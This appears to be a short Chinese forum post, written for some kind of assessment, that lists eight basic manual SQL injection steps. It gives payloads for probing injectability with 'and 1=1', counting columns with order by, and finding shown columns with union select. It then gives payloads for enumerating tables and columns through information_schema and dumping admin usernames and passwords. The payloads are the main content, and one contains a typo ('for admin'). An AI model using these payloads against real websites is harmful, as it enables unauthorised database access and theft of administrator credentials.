【Max考核】SQL注入基础语句步骤-优选博客-Tsd/原创论坛-技术教程-优选博客

【Max考核】SQL注入基础语句步骤-优选博客

大佬勿喷[开心][开心]
1.在url后面添加and 1=1页面显示正常添加and 1=2不正常(可注入)
2.利用order by 判断字段数量
3.判断可显字段,用union select 1,2,3,,,n(n为字段数量)(更多情况下要在union select前加 and 1=2 不然显不出来 )
4.把可显字段替换成函数,例如显示版本将一个字段替换为version(),显示数据库用database()等
5.查表名语句,例如:and 1=2 union select 1,table_name,3,4,5 from information_schema.tables where table_schema=”数据库名”
6.查字段,例如查看hack数据表中包含了哪些字段
select column_name from information_schema.columns where table_name=”hack”;
7.爆出段名,例如:union select 1,column_name,3,4,5 from information_schema.columns where table_name=’admin’
8.最后就是爆出管理员用户名和密码,例如union select 1,username,password,4,5 from admin或者union select 1,unhex(hex(username)),unhex(hex(password)),4,5 for admin

【Max考核】SQL注入基础语句步骤-优选博客-优选博客

请登录后发表评论

    没有回复内容